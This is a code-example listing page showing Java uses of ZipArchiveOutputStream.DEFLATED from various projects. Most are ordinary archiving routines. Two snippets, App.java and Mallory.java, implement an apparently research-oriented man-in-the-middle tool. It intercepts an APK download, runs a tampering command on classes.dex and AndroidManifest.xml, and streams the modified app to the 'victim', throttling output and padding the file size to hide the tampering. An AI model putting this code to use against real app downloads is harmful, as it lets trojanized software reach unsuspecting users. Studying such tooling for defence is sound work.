List of usage examples for org.apache.commons.compress.archivers.zip ZipArchiveOutputStream DEFLATED
int DEFLATED
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From source file:cz.muni.fi.xklinec.zipstream.App.java
/** * Entry point. //from w ww.ja v a 2s .c o m * * @param args * @throws FileNotFoundException * @throws IOException * @throws NoSuchFieldException * @throws ClassNotFoundException * @throws NoSuchMethodException */ public static void main(String[] args) throws FileNotFoundException, IOException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InterruptedException { OutputStream fos = null; InputStream fis = null; if ((args.length != 0 && args.length != 2)) { System.err.println(String.format("Usage: app.jar source.apk dest.apk")); return; } else if (args.length == 2) { System.err.println( String.format("Will use file [%s] as input file and [%s] as output file", args[0], args[1])); fis = new FileInputStream(args[0]); fos = new FileOutputStream(args[1]); } else if (args.length == 0) { System.err.println(String.format("Will use file [STDIN] as input file and [STDOUT] as output file")); fis = System.in; fos = System.out; } final Deflater def = new Deflater(9, true); ZipArchiveInputStream zip = new ZipArchiveInputStream(fis); // List of postponed entries for further "processing". List<PostponedEntry> peList = new ArrayList<PostponedEntry>(6); // Output stream ZipArchiveOutputStream zop = new ZipArchiveOutputStream(fos); zop.setLevel(9); // Read the archive ZipArchiveEntry ze = zip.getNextZipEntry(); while (ze != null) { ZipExtraField[] extra = ze.getExtraFields(true); byte[] lextra = ze.getLocalFileDataExtra(); UnparseableExtraFieldData uextra = ze.getUnparseableExtraFieldData(); byte[] uextrab = uextra != null ? uextra.getLocalFileDataData() : null; // ZipArchiveOutputStream.DEFLATED // // Data for entry byte[] byteData = Utils.readAll(zip); byte[] deflData = new byte[0]; int infl = byteData.length; int defl = 0; // If method is deflated, get the raw data (compress again). if (ze.getMethod() == ZipArchiveOutputStream.DEFLATED) { def.reset(); def.setInput(byteData); def.finish(); byte[] deflDataTmp = new byte[byteData.length * 2]; defl = def.deflate(deflDataTmp); deflData = new byte[defl]; System.arraycopy(deflDataTmp, 0, deflData, 0, defl); } System.err.println(String.format( "ZipEntry: meth=%d " + "size=%010d isDir=%5s " + "compressed=%07d extra=%d lextra=%d uextra=%d " + "comment=[%s] " + "dataDesc=%s " + "UTF8=%s " + "infl=%07d defl=%07d " + "name [%s]", ze.getMethod(), ze.getSize(), ze.isDirectory(), ze.getCompressedSize(), extra != null ? extra.length : -1, lextra != null ? lextra.length : -1, uextrab != null ? uextrab.length : -1, ze.getComment(), ze.getGeneralPurposeBit().usesDataDescriptor(), ze.getGeneralPurposeBit().usesUTF8ForNames(), infl, defl, ze.getName())); final String curName = ze.getName(); // META-INF files should be always on the end of the archive, // thus add postponed files right before them if (curName.startsWith("META-INF") && peList.size() > 0) { System.err.println( "Now is the time to put things back, but at first, I'll perform some \"facelifting\"..."); // Simulate som evil being done Thread.sleep(5000); System.err.println("OK its done, let's do this."); for (PostponedEntry pe : peList) { System.err.println( "Adding postponed entry at the end of the archive! deflSize=" + pe.deflData.length + "; inflSize=" + pe.byteData.length + "; meth: " + pe.ze.getMethod()); pe.dump(zop, false); } peList.clear(); } // Capturing interesting files for us and store for later. // If the file is not interesting, send directly to the stream. if ("classes.dex".equalsIgnoreCase(curName) || "AndroidManifest.xml".equalsIgnoreCase(curName)) { System.err.println("### Interesting file, postpone sending!!!"); PostponedEntry pe = new PostponedEntry(ze, byteData, deflData); peList.add(pe); } else { // Write ZIP entry to the archive zop.putArchiveEntry(ze); // Add file data to the stream zop.write(byteData, 0, infl); zop.closeArchiveEntry(); } ze = zip.getNextZipEntry(); } // Cleaning up stuff zip.close(); fis.close(); zop.finish(); zop.close(); fos.close(); System.err.println("THE END!"); }
From source file:com.haulmont.cuba.core.sys.logging.LogArchiver.java
public static void writeArchivedLogTailToStream(File logFile, OutputStream outputStream) throws IOException { if (!logFile.exists()) { throw new FileNotFoundException(); }/*w w w . j av a2 s . c om*/ ZipArchiveOutputStream zipOutputStream = new ZipArchiveOutputStream(outputStream); zipOutputStream.setMethod(ZipArchiveOutputStream.DEFLATED); zipOutputStream.setEncoding(ZIP_ENCODING); byte[] content = getTailBytes(logFile); ArchiveEntry archiveEntry = newTailArchive(logFile.getName(), content); zipOutputStream.putArchiveEntry(archiveEntry); zipOutputStream.write(content); zipOutputStream.closeArchiveEntry(); zipOutputStream.close(); }
From source file:com.haulmont.cuba.core.sys.logging.LogArchiver.java
public static void writeArchivedLogToStream(File logFile, OutputStream outputStream) throws IOException { if (!logFile.exists()) { throw new FileNotFoundException(); }//from w w w. jav a 2 s .c om File tempFile = File.createTempFile(FilenameUtils.getBaseName(logFile.getName()) + "_log_", ".zip"); ZipArchiveOutputStream zipOutputStream = new ZipArchiveOutputStream(tempFile); zipOutputStream.setMethod(ZipArchiveOutputStream.DEFLATED); zipOutputStream.setEncoding(ZIP_ENCODING); ArchiveEntry archiveEntry = newArchive(logFile); zipOutputStream.putArchiveEntry(archiveEntry); FileInputStream logFileInput = new FileInputStream(logFile); IOUtils.copyLarge(logFileInput, zipOutputStream); logFileInput.close(); zipOutputStream.closeArchiveEntry(); zipOutputStream.close(); FileInputStream tempFileInput = new FileInputStream(tempFile); IOUtils.copyLarge(tempFileInput, outputStream); tempFileInput.close(); FileUtils.deleteQuietly(tempFile); }
From source file:es.ucm.fdi.util.archive.ZipFormat.java
public void create(ArrayList<File> sources, File destFile, File baseDir) throws IOException { // to avoid modifying input argument ArrayList<File> toAdd = new ArrayList<>(sources); ZipArchiveOutputStream zos = null;//w w w.j a v a 2 s . co m try { zos = new ZipArchiveOutputStream(new FileOutputStream(destFile)); zos.setMethod(ZipArchiveOutputStream.DEFLATED); byte[] b = new byte[1024]; //log.debug("Creating zip file: "+ficheroZip.getName()); for (int i = 0; i < toAdd.size(); i++) { // note: cannot use foreach because sources gets modified File file = toAdd.get(i); // zip standard uses fw slashes instead of backslashes, always String baseName = baseDir.getAbsolutePath() + '/'; String fileName = file.getAbsolutePath().substring(baseName.length()); if (file.isDirectory()) { fileName += '/'; } ZipArchiveEntry entry = new ZipArchiveEntry(fileName); // skip directories - after assuring that their children *will* be included. if (file.isDirectory()) { //log.debug("\tAdding dir "+fileName); for (File child : file.listFiles()) { toAdd.add(child); } zos.putArchiveEntry(entry); continue; } //log.debug("\tAdding file "+fileName); // Add the zip entry and associated data. zos.putArchiveEntry(entry); int n; try (FileInputStream fis = new FileInputStream(file)) { while ((n = fis.read(b)) > -1) { zos.write(b, 0, n); } zos.closeArchiveEntry(); } } } finally { if (zos != null) { zos.finish(); zos.close(); } } }
From source file:com.atolcd.web.scripts.ZipContents.java
public void createZipFile(List<String> nodeIds, OutputStream os, boolean noaccent) throws IOException { File zip = null;/*from ww w . jav a 2 s. c om*/ try { if (nodeIds != null && !nodeIds.isEmpty()) { zip = TempFileProvider.createTempFile(TEMP_FILE_PREFIX, ZIP_EXTENSION); FileOutputStream stream = new FileOutputStream(zip); CheckedOutputStream checksum = new CheckedOutputStream(stream, new Adler32()); BufferedOutputStream buff = new BufferedOutputStream(checksum); ZipArchiveOutputStream out = new ZipArchiveOutputStream(buff); out.setEncoding(encoding); out.setMethod(ZipArchiveOutputStream.DEFLATED); out.setLevel(Deflater.BEST_COMPRESSION); if (logger.isDebugEnabled()) { logger.debug("Using encoding '" + encoding + "' for zip file."); } try { for (String nodeId : nodeIds) { NodeRef node = new NodeRef(storeRef, nodeId); addToZip(node, out, noaccent, ""); } } catch (Exception e) { logger.error(e.getMessage(), e); throw new WebScriptException(HttpServletResponse.SC_BAD_REQUEST, e.getMessage()); } finally { out.close(); buff.close(); checksum.close(); stream.close(); if (nodeIds.size() > 0) { InputStream in = new FileInputStream(zip); try { byte[] buffer = new byte[BUFFER_SIZE]; int len; while ((len = in.read(buffer)) > 0) { os.write(buffer, 0, len); } } finally { IOUtils.closeQuietly(in); } } } } } catch (Exception e) { logger.error(e.getMessage(), e); throw new WebScriptException(HttpServletResponse.SC_BAD_REQUEST, e.getMessage()); } finally { // try and delete the temporary file if (zip != null) { zip.delete(); } } }
From source file:com.naryx.tagfusion.cfm.tag.io.cfZIP.java
protected void defaultParameters(String _tag) throws cfmBadFileException { defaultAttribute("RECURSE", "true"); defaultAttribute("COMPRESSIONLEVEL", ZipArchiveOutputStream.DEFLATED); defaultAttribute("PREFIX", ""); defaultAttribute("OVERWRITE", "true"); defaultAttribute("FLATTEN", "false"); defaultAttribute("CHARSET", System.getProperty("file.encoding")); parseTagHeader(_tag);/* ww w . j a v a 2 s. c om*/ if (containsAttribute("ATTRIBUTECOLLECTION")) return; if (!containsAttribute("ACTION")) throw newBadFileException("Missing ACTION", "You need to specify a ACTION - valid actions are CREATE/ZIP, LIST or EXTRACT/UNZIP"); if (!containsAttribute("ZIPFILE") && !containsAttribute("FILE")) throw newBadFileException("Missing ZIPFILE/FILE", "You need to specify a ZIPFILE/FILE"); }
From source file:es.ucm.fdi.util.archive.ZipFormat.java
/** * Simulates creation of a zip file, but returns only the size of the zip * that results from the given input stream *///from ww w . j av a2 s. c o m public int compressedSize(InputStream is) throws IOException { try (ByteArrayOutputStream bos = new ByteArrayOutputStream(); ZipArchiveOutputStream zout = new ZipArchiveOutputStream(bos);) { zout.setMethod(ZipArchiveOutputStream.DEFLATED); ZipArchiveEntry entry = new ZipArchiveEntry("z"); zout.putArchiveEntry(entry); int n; byte[] bytes = new byte[1024]; while ((n = is.read(bytes)) > -1) { zout.write(bytes, 0, n); } is.close(); zout.closeArchiveEntry(); zout.finish(); return bos.size(); } }
From source file:com.naryx.tagfusion.expression.function.file.Zip.java
public cfData execute(cfSession session, cfArgStructData argStruct, List<cfZipItem> zipItems) throws cfmRunTimeException { String destStr = getNamedStringParam(argStruct, "zipfile", null); if (destStr.length() == 0 || destStr == null) { throwException(session, "Missing the ZIPFILE argument or is an empty string."); }//from w w w.j av a2s . co m String sourceStr = getNamedStringParam(argStruct, "source", null); File src = null; if (sourceStr != null) { if (sourceStr.length() == 0) { throwException(session, "SOURCE specified is an empty string. It is not a valid path."); } else { src = new File(sourceStr); // Check if src is a valid file/directory checkZipfile(session, src); } } boolean recurse = getNamedBooleanParam(argStruct, "recurse", true); String prefixStr = getNamedStringParam(argStruct, "prefix", ""); String prefix = prefixStr.replace('\\', '/'); if (prefix.length() != 0 && !prefix.endsWith("/")) { prefix = prefix + "/"; } String newpath = getNamedStringParam(argStruct, "newpath", null); if (newpath != null) { if (newpath.length() == 0) { throwException(session, "NEWPATH specified is an empty string. It is not a valid path."); } } boolean overwrite = getNamedBooleanParam(argStruct, "overwrite", false); int compressionLevel = getNamedIntParam(argStruct, "compressionlevel", ZipArchiveOutputStream.DEFLATED); if (compressionLevel < 0 || compressionLevel > 9) { throwException(session, "Invalid COMPRESSIONLEVEL specified. Please specify a number from 0-9 (inclusive)."); } String filterStr = getNamedStringParam(argStruct, "filter", null); FilenameFilter filter = null; if (filterStr != null) { filter = new filePatternFilter(filterStr, true); } String charset = getNamedStringParam(argStruct, "charset", System.getProperty("file.encoding")); // Destination file File zipfile = new File(destStr); // OVERWRITE if (zipfile.exists() && overwrite) { zipfile.delete(); } else if (zipfile.exists() && !overwrite) { throwException(session, "Cannot overwrite the existing file"); } ZipArchiveOutputStream zipOut = null; FileOutputStream fout = null; File parent = zipfile.getParentFile(); if (parent != null) { // create parent directories if required parent.mkdirs(); } try { fout = new FileOutputStream(zipfile); } catch (IOException e) { throwException(session, "Failed to create zip file: [" + zipfile.getAbsolutePath() + "]. Reason: " + e.getMessage()); } try { zipOut = new ZipArchiveOutputStream(fout); zipOut.setEncoding(charset); zipOut.setFallbackToUTF8(true); zipOut.setUseLanguageEncodingFlag(true); zipOut.setCreateUnicodeExtraFields(ZipArchiveOutputStream.UnicodeExtraFieldPolicy.ALWAYS); // Code for Zipparams if (zipItems != null) { Iterator<cfZipItem> srcItems = zipItems.iterator(); cfZipItem nextItem; while (srcItems.hasNext()) { nextItem = srcItems.next(); zipOperation(session, zipOut, nextItem.getFile(), nextItem.getRecurse(), nextItem.getPrefix(), compressionLevel, nextItem.getFilter(), nextItem.getNewPath()); } } // Code for function without zippparams zipOperation(session, zipOut, src, recurse, prefix, compressionLevel, filter, newpath); } finally { StreamUtil.closeStream(zipOut); StreamUtil.closeStream(fout); } return cfBooleanData.TRUE; }
From source file:fr.itldev.koya.alfservice.KoyaContentService.java
/** * * @param nodeRefs// www . j a va 2 s. com * @return * @throws KoyaServiceException */ public File zip(List<String> nodeRefs) throws KoyaServiceException { File tmpZipFile = null; try { tmpZipFile = TempFileProvider.createTempFile("tmpDL", ".zip"); FileOutputStream fos = new FileOutputStream(tmpZipFile); CheckedOutputStream checksum = new CheckedOutputStream(fos, new Adler32()); BufferedOutputStream buff = new BufferedOutputStream(checksum); ZipArchiveOutputStream zipStream = new ZipArchiveOutputStream(buff); // NOTE: This encoding allows us to workaround bug... // http://bugs.sun.com/bugdatabase/view_bug.do;:WuuT?bug_id=4820807 zipStream.setEncoding("UTF-8"); zipStream.setMethod(ZipArchiveOutputStream.DEFLATED); zipStream.setLevel(Deflater.BEST_COMPRESSION); zipStream.setCreateUnicodeExtraFields(ZipArchiveOutputStream.UnicodeExtraFieldPolicy.ALWAYS); zipStream.setUseLanguageEncodingFlag(true); zipStream.setFallbackToUTF8(true); try { for (String nodeRef : nodeRefs) { addToZip(koyaNodeService.getNodeRef(nodeRef), zipStream, ""); } } catch (IOException e) { logger.error(e.getMessage(), e); throw new WebScriptException(HttpServletResponse.SC_BAD_REQUEST, e.getMessage()); } finally { zipStream.close(); buff.close(); checksum.close(); fos.close(); } } catch (IOException | WebScriptException e) { logger.error(e.getMessage(), e); throw new WebScriptException(HttpServletResponse.SC_BAD_REQUEST, e.getMessage()); } return tmpZipFile; }
From source file:cz.muni.fi.xklinec.zipstream.Mallory.java
/** * Entry point. /*from w ww.j av a 2 s . c o m*/ * * @param args * @throws FileNotFoundException * @throws IOException * @throws NoSuchFieldException * @throws ClassNotFoundException * @throws NoSuchMethodException * @throws java.lang.InterruptedException * @throws java.lang.CloneNotSupportedException */ public void doMain(String[] args) throws FileNotFoundException, IOException, NoSuchFieldException, ClassNotFoundException, NoSuchMethodException, InterruptedException, CloneNotSupportedException { // command line argument parser CmdLineParser parser = new CmdLineParser(this); // if you have a wider console, you could increase the value; // here 80 is also the default parser.setUsageWidth(80); try { // parse the arguments. parser.parseArgument(args); } catch (CmdLineException e) { // if there's a problem in the command line, // you'll get this exception. this will report // an error message. System.err.println(e.getMessage()); System.err.println("java Mallory [options...] arguments..."); // print the list of available options parser.printUsage(System.err); System.err.println(); // print option sample. This is useful some time System.err.println(" Example: java Mallory " + parser.printExample(ExampleMode.ALL)); return; } if (arguments.size() == 2) { final String a0 = arguments.get(0); final String a1 = arguments.get(1); if (!quiet) System.err .println(String.format("Will use file [%s] as input file and [%s] as output file", a0, a1)); fis = new FileInputStream(a0); fos = new FileOutputStream(a1); } else if (arguments.isEmpty()) { if (!quiet) System.err .println(String.format("Will use file [STDIN] as input file and [STDOUT] as output file")); fis = System.in; fos = System.out; } else { if (!quiet) System.err.println("I do not understand the usage."); return; } if (zipAlign) { System.err.println("WARNING: ZIP Align feature not implemented yet..."); return; } // Deflater to re-compress uncompressed data read from ZIP stream. def = new Deflater(9, true); sentFiles = new HashSet<String>(); // Buffer input stream so input stream is read in chunks bis = new BufferedInputStream(fis); bos = new BufferedOutputStream(fos); // Effective temporary dir - if separate is required if (separateTempDir) { effectiveTempDir = File.createTempFile("temp_apk_dir_", "", new File(TEMP_DIR)); effectiveTempDir.delete(); effectiveTempDir.mkdir(); } else { effectiveTempDir = new File(TEMP_DIR); } // Generate temporary APK filename tempApk = File.createTempFile("temp_apk_", ".apk", effectiveTempDir); if (tempApk.canWrite() == false) { throw new IOException("Temp file is not writable!"); } FileOutputStream tos = new FileOutputStream(tempApk); // What we want here is to read input stream from the socket/pipe // whatever, process it in ZIP logic and simultaneously to copy // all read data to the temporary file - this reminds tee command // logic. This functionality can be found in TeeInputStream. TeeInputStream tis = new TeeInputStream(bis, tos); // Providing tis to ZipArchiveInputStream will copy all read data // to temporary tos file. zip = new ZipArchiveInputStream(tis); // List of all sent files, with data and hashes alMap = new HashMap<String, PostponedEntry>(); // Output stream // If there is defined slow down stream, it is used for user output to // mitigate tampering time gap. OutputStream osToUse = bos; SlowDownStream sdStream = null; if (slowDownStream) { // New slow down output stream with internal pipe buffer 15MB. sdStream = new SlowDownStream(osToUse, 15 * 1024 * 1024); // If size of the APK is known, use it to set slow down parameters correctly. if (apkSize > 0) { setSlowDownParams(); } if (!quiet) { System.err.println(String.format("Slown down stream will be used; apkSize=%d buffer=%d timeout=%d", apkSize, slowDownBuffer, slowDownTimeout)); } sdStream.setFlushBufferSize(slowDownBuffer); sdStream.setFlushBufferTimeout(slowDownTimeout); sdStream.start(); osToUse = sdStream; } zop = new ZipArchiveOutputStream(osToUse); zop.setLevel(9); if (!quiet) { System.err.println("Patterns that will be excluded:"); for (String regex : exclude) { System.err.println(" '" + regex + "'"); } System.err.println(); } // Read the archive ZipArchiveEntry ze = zip.getNextZipEntry(); while (ze != null) { ZipExtraField[] extra = ze.getExtraFields(true); byte[] lextra = ze.getLocalFileDataExtra(); UnparseableExtraFieldData uextra = ze.getUnparseableExtraFieldData(); byte[] uextrab = uextra != null ? uextra.getLocalFileDataData() : null; byte[] ex = ze.getExtra(); // ZipArchiveOutputStream.DEFLATED // // Data for entry byte[] byteData = Utils.readAll(zip); byte[] deflData = new byte[0]; int infl = byteData.length; int defl = 0; // If method is deflated, get the raw data (compress again). // Since ZIPStream automatically decompresses deflated files in read(). if (ze.getMethod() == ZipArchiveOutputStream.DEFLATED) { def.reset(); def.setInput(byteData); def.finish(); byte[] deflDataTmp = new byte[byteData.length * 2]; defl = def.deflate(deflDataTmp); deflData = new byte[defl]; System.arraycopy(deflDataTmp, 0, deflData, 0, defl); } if (!quiet) System.err.println(String.format( "ZipEntry: meth=%d " + "size=%010d isDir=%5s " + "compressed=%07d extra=%d lextra=%d uextra=%d ex=%d " + "comment=[%s] " + "dataDesc=%s " + "UTF8=%s " + "infl=%07d defl=%07d " + "name [%s]", ze.getMethod(), ze.getSize(), ze.isDirectory(), ze.getCompressedSize(), extra != null ? extra.length : -1, lextra != null ? lextra.length : -1, uextrab != null ? uextrab.length : -1, ex != null ? ex.length : -1, ze.getComment(), ze.getGeneralPurposeBit().usesDataDescriptor(), ze.getGeneralPurposeBit().usesUTF8ForNames(), infl, defl, ze.getName())); final String curName = ze.getName(); // Store zip entry to the map for later check after the APK is recompiled. // Hashes will be compared with the modified APK files after the process. PostponedEntry al = new PostponedEntry(ze, byteData, deflData); alMap.put(curName, al); // META-INF files should be always on the end of the archive, // thus add postponed files right before them if (isPostponed(ze)) { // Capturing interesting files for us and store for later. // If the file is not interesting, send directly to the stream. if (!quiet) System.err.println(" Interesting file, postpone sending!!!"); } else { // recompute CRC? if (recomputeCrc) { crc.reset(); crc.update(byteData); final long newCrc = crc.getValue(); if (!quiet && ze.getCrc() != newCrc && ze.getCrc() != -1) { System.err.println(" Warning: file CRC mismatch!!! Original: [" + ze.getCrc() + "] real: [" + newCrc + "]"); } ze.setCrc(newCrc); } // Write ZIP entry to the archive zop.putArchiveEntry(ze); // Add file data to the stream zop.write(byteData, 0, infl); zop.closeArchiveEntry(); zop.flush(); // Mark file as sent. addSent(curName); } ze = zip.getNextZipEntry(); } // Flush buffers zop.flush(); fos.flush(); // Cleaning up stuff, all reading streams can be closed now. zip.close(); bis.close(); fis.close(); tis.close(); tos.close(); // // APK is finished here, all non-interesting files were sent to the // zop strem (socket to the victim). Now APK transformation will // be performed, diff, sending rest of the files to zop. // boolean doPadding = paddExtra > 0 || outBytes > 0; long flen = tempApk.length(); if (outBytes <= 0) { outBytes = flen + paddExtra; } if (!quiet) { System.err.println("\nAPK reading finished, going to tamper downloaded " + " APK file [" + tempApk.toString() + "]; filezise=[" + flen + "]"); System.err.println(String.format("Sent so far: %d kB in %f %% after adding padding it is %f %%", zop.getWritten() / 1024, 100.0 * (double) zop.getWritten() / (double) flen, 100.0 * (double) zop.getWritten() / ((double) (outBytes > 0 ? outBytes : flen)))); } // New APK was generated, new filename = "tempApk_tampered" newApk = new File(outFile == null ? getFileName(tempApk.getAbsolutePath()) : outFile); if (cmd == null) { // Simulation of doing some evil stuff on the temporary apk Thread.sleep(3000); if (!quiet) System.err.println( "Tampered APK file: " + " [" + newApk.toString() + "]; filezise=[" + newApk.length() + "]"); // // Since no tampering was performed right now we will simulate it by just simple // copying the APK file // FileUtils.copyFile(tempApk, newApk); } else { try { // Execute command String cmd2exec; switch (cmdFormat) { case 0: cmd2exec = cmd + " " + tempApk.getAbsolutePath(); break; case 1: cmd2exec = cmd.replaceAll(INPUT_APK_PLACEHOLDER, tempApk.getAbsolutePath()); break; case 2: cmd2exec = cmd.replaceAll(INPUT_APK_PLACEHOLDER, tempApk.getAbsolutePath()); cmd2exec = cmd2exec.replaceAll(OUTPUT_APK_PLACEHOLDER, newApk.getAbsolutePath()); break; default: throw new IllegalArgumentException("Unknown command format number"); } if (!quiet) { System.err.println("Command to be executed: " + cmd2exec); System.err.println("\n<CMDOUTPUT>"); } long cmdStartTime = System.currentTimeMillis(); CmdExecutionResult resExec = execute(cmd2exec, OutputOpt.EXECUTE_STD_COMBINE, null, quiet ? null : System.err); long cmdStopTime = System.currentTimeMillis(); if (!quiet) { System.err.println("</CMDOUTPUT>\n"); System.err.println("Command executed. Return value: " + resExec.exitValue + "; tamperingTime=" + (cmdStopTime - cmdStartTime)); } } catch (IOException e) { if (!quiet) e.printStackTrace(System.err); } } // // Now read new APK file with ZipInputStream and push new/modified files to the ZOP. // fis = new FileInputStream(newApk); bis = new BufferedInputStream(fis); zip = new ZipArchiveInputStream(bis); // Merge tampered APK to the final, but in this first time // do it to the external buffer in order to get final apk size. // Backup ZOP state to the clonned instance. zop.flush(); long writtenBeforeDiff = zop.getWritten(); ZipArchiveOutputStream zop_back = zop; zop = zop.cloneThis(); // Set temporary byte array output stream, so original output stream is not // touched in this phase. ByteArrayOutputStream bbos = new ByteArrayOutputStream(); zop.setOut(bbos); mergeTamperedApk(false, false); zop.flush(); // Now output stream almost contains APK file, central directory is not written yet. long writtenAfterDiff = zop.getWritten(); if (!quiet) System.err.println(String.format("Tampered apk size yet; writtenBeforeDiff=%d writtenAfterDiff=%d", writtenBeforeDiff, writtenAfterDiff)); // Write central directory header to temporary buffer to discover its size. zop.writeFinish(); zop.flush(); bbos.flush(); // Read new values long writtenAfterCentralDir = zop.getWritten(); long centralDirLen = zop.getCdLength(); byte[] buffAfterMerge = bbos.toByteArray(); //int endOfCentralDir = (int) (buffAfterMerge.length - (writtenAfterCentralDir-writtenBeforeDiff)); long endOfCentralDir = END_OF_CENTRAL_DIR_SIZE; // Determine number of bytes to add to APK. // padlen is number of bytes missing in APK to meet desired size in bytes. padlen = doPadding ? (outBytes - (writtenAfterCentralDir + endOfCentralDir)) : 0; // Compute number of files needed for padding. int padfiles = (int) Math.ceil((double) padlen / (double) (PAD_BLOCK_MAX)); if (!quiet) System.err.println(String.format("Remaining to pad=%d, padfiles=%d " + "writtenAfterCentralDir=%d " + "centralDir=%d endOfCentralDir=%d centralDirOffset=%d " + "buffSize=%d total=%d desired=%d ", padlen, padfiles, writtenAfterCentralDir, centralDirLen, endOfCentralDir, zop.getCdOffset(), buffAfterMerge.length, writtenAfterCentralDir + endOfCentralDir, outBytes)); if (padlen < 0) { throw new IllegalStateException("Padlen cannot be negative, please increase padding size"); } // Close input streams for tampered APK try { zip.close(); bis.close(); fis.close(); } catch (Exception e) { if (!quiet) e.printStackTrace(System.err); } // Merge again, now with pre-defined padding size. fis = new FileInputStream(newApk); bis = new BufferedInputStream(fis); zip = new ZipArchiveInputStream(bis); // Revert changes - use clonned writer stream. zop = zop_back; long writtenBeforeDiff2 = zop.getWritten(); // Merge tampered APK, now for real, now with computed padding. mergeTamperedApk(true, true); zop.flush(); long writtenAfterMerge2 = zop.getWritten(); // Finish really zop.finish(); zop.flush(); long writtenReally = zop.getWritten(); long centralDirLen2 = zop.getCdLength(); if (!quiet) System.err.println(String.format( "Write stats; " + "writtenBeforeDiff=%d writtenAfterDiff=%d " + "writtenAfterCentralDir=%d centralDir=%d endOfCd=%d centralDirOffset=%d " + "padlen=%d total=%d desired=%d", writtenBeforeDiff2, writtenAfterMerge2, writtenReally, centralDirLen2, endOfCentralDir, zop.getCdOffset(), padlen, writtenReally + endOfCentralDir, outBytes)); // Will definitelly close (and finish if not yet) ZOP stream // and close underlying stream. zop.close(); if (sdStream != null) { if (!quiet) { System.err.println("Waiting for sdStream to finish..."); } // Wait for stream to finish dumping with pre-set speed, if it takes // too long (1 minute) switch slown down stream to dumping mode // without any waiting. long startedDump = System.currentTimeMillis(); while (sdStream.isRunning()) { long curTime = System.currentTimeMillis(); if (startedDump != -1 && (curTime - startedDump) > 1000 * 120) { startedDump = -1; sdStream.flushPipes(); } Thread.sleep(10); } if (!quiet) { System.err.println("SD stream finished, terminating..."); } } // Should always be same if (!quiet && doPadding && writtenBeforeDiff != writtenBeforeDiff2) { System.err.println(String.format("Warning! Size before merge from pass1 and pass2 does not match.")); } // If size is different, something went wrong. if (!quiet && doPadding && ((writtenReally + endOfCentralDir) != outBytes)) { System.err.println(String.format("Warning! Output size differs from desired size.")); } bos.close(); fos.close(); // Delete temporary files if required if (deleteArtefacts) { try { if (newApk.exists()) { newApk.delete(); if (!quiet) System.err.println("Tampered APK removed. " + newApk.getAbsolutePath()); } if (tempApk.exists()) { tempApk.delete(); if (!quiet) System.err.println("Original APK removed. " + tempApk.getAbsolutePath()); } if (separateTempDir && effectiveTempDir.exists()) { FileUtils.deleteDirectory(effectiveTempDir); if (!quiet) System.err.println("Temporary directory removed. " + effectiveTempDir.getAbsolutePath()); } if (!quiet) System.err.println("Temporary files were removed."); } catch (IOException e) { if (!quiet) e.printStackTrace(System.err); } } if (!quiet) System.err.println("THE END!"); }